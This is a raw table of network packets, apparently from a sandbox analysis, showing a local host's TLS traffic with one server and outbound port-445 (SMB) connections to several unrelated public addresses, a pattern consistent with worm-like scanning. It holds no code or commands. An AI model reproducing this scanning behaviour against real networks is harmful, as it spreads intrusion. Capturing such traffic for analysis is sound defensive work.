Jul 20, 2022 13:24:38.048120022 CEST	50652	445	192.168.2.7	216.200.60.11
Jul 20, 2022 13:24:38.048505068 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.048521996 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.048559904 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.048626900 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.048734903 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.048739910 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.063288927 CEST	445	50639	185.15.42.248	192.168.2.7
Jul 20, 2022 13:24:38.063311100 CEST	445	50639	185.15.42.248	192.168.2.7
Jul 20, 2022 13:24:38.124171019 CEST	50653	445	192.168.2.7	140.236.77.154
Jul 20, 2022 13:24:38.125263929 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.125302076 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.125332117 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.125468016 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.125480890 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.125494957 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.125507116 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.125585079 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.125597000 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.125621080 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.125627041 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.125639915 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.125679970 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.125688076 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.125736952 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.125747919 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.125781059 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.125788927 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.125803947 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.125828981 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.125837088 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.125890017 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.125899076 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.125946045 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.125952005 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.125999928 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.126002073 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.126048088 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.126137018 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.133457899 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.134263992 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.136269093 CEST	50601	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.136315107 CEST	443	50601	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.256504059 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.256505013 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.256525040 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.256763935 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.257541895 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.257550001 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.372320890 CEST	50654	445	192.168.2.7	140.216.211.186
Jul 20, 2022 13:24:38.390193939 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.390209913 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.390224934 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.390331984 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.390340090 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.390353918 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.390427113 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.390435934 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.390482903 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.390489101 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.390500069 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.390535116 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.390538931 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.390547037 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.390600920 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.390607119 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.390616894 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.390669107 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.390675068 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.390683889 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.390721083 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.390724897 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.390774012 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.390779018 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.390789032 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.390825033 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.390830040 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.390903950 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.390912056 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.390922070 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.390958071 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.390964985 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.391035080 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.391042948 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.391055107 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.391087055 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.391093016 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.391169071 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.391175985 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.391216993 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.391251087 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.400990963 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.401582003 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.412906885 CEST	50603	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.412933111 CEST	443	50603	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.516742945 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.516762972 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.516782045 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.516858101 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.516870022 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.516885996 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.516900063 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.516973972 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.516985893 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.517018080 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.517026901 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.517040968 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.517087936 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.517097950 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.517144918 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.517153978 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.517168999 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.517206907 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.517214060 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.517273903 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.517283916 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.517337084 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.517348051 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.517363071 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.517393112 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.517401934 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.517463923 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.517473936 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.517520905 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.517529011 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.517544031 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.517596006 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.517607927 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.517657995 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.517668962 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.517739058 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.517801046 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.544022083 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.544292927 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.546511889 CEST	50600	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.546540022 CEST	443	50600	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.590733051 CEST	50655	445	192.168.2.7	210.51.192.249
Jul 20, 2022 13:24:38.662548065 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.662570000 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.662587881 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.662669897 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.662681103 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.662693977 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.662739992 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.662750959 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.662785053 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.662792921 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.662806988 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.662843943 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.662852049 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.662863970 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.662890911 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.662898064 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.662913084 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.662934065 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.662940979 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.662986040 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.662995100 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.663008928 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.663029909 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.663036108 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.663083076 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.663089991 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.663100004 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.663111925 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.663129091 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.663137913 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.663201094 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.663213015 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.663227081 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.663243055 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.663249016 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.663316965 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.663327932 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.663342953 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.663366079 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.663388968 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.663419962 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.663430929 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.663470984 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.663484097 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.663497925 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.663530111 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.663538933 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.663589954 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.663644075 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.664412022 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.664426088 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.664535999 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.664719105 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.664727926 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.664751053 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.664866924 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.664876938 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.664887905 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.664905071 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.664916992 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.664921999 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.664958000 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.665014029 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.665023088 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.665040016 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.665050030 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.665123940 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.665132999 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.665215015 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.665226936 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.665242910 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.665261030 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.665271997 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.665338039 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.665349960 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.665394068 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.665402889 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.665421009 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.665436983 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.665456057 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.665462971 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.665477991 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.665530920 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.665540934 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.665604115 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.665613890 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.665647984 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.665668011 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.665694952 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.665702105 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.665714979 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.665785074 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.665796041 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.665842056 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.665853024 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.665874004 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.665884972 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.665891886 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.665963888 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.665972948 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.665988922 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.666050911 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.666218042 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.666229963 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.666254997 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.666271925 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.666364908 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.666377068 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.666388035 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.666425943 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.666435957 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.666469097 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.666479111 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.666538954 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.666549921 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.666582108 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.666594982 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.666649103 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.666652918 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.666663885 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.666680098 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.666691065 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.666739941 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.666743994 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.666754007 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.666805983 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.666821957 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.666840076 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.666887045 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.666891098 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.666904926 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.666918993 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.666930914 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.666958094 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.666966915 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.666979074 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.666987896 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.667007923 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.667016029 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.667042017 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.667053938 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.667061090 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.667097092 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.667108059 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.667129993 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.667130947 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.667152882 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.667186975 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.667197943 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.667222023 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.667222023 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.667262077 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.667272091 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.667289972 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.667304039 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.667315960 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.667331934 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.667363882 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.667566061 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.667574883 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.667598009 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.667618990 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.667716026 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.667728901 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.667738914 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.667840958 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.667851925 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.667877913 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.667886972 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.667987108 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.667998075 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.668070078 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.668081999 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.668229103 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.668240070 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.668257952 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.668267965 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.668390036 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.668404102 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.668421030 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.668428898 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.668457985 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.668498039 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.668498039 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.668550968 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.668801069 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.668812037 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.668823004 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.668827057 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.669115067 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.682563066 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.682703972 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.683521032 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.683551073 CEST	443	50602	80.67.82.211	192.168.2.7
Jul 20, 2022 13:24:38.683604956 CEST	50602	443	192.168.2.7	80.67.82.211
Jul 20, 2022 13:24:38.683620930 CEST	443	50602	80.67.82.211	192.168.2.7
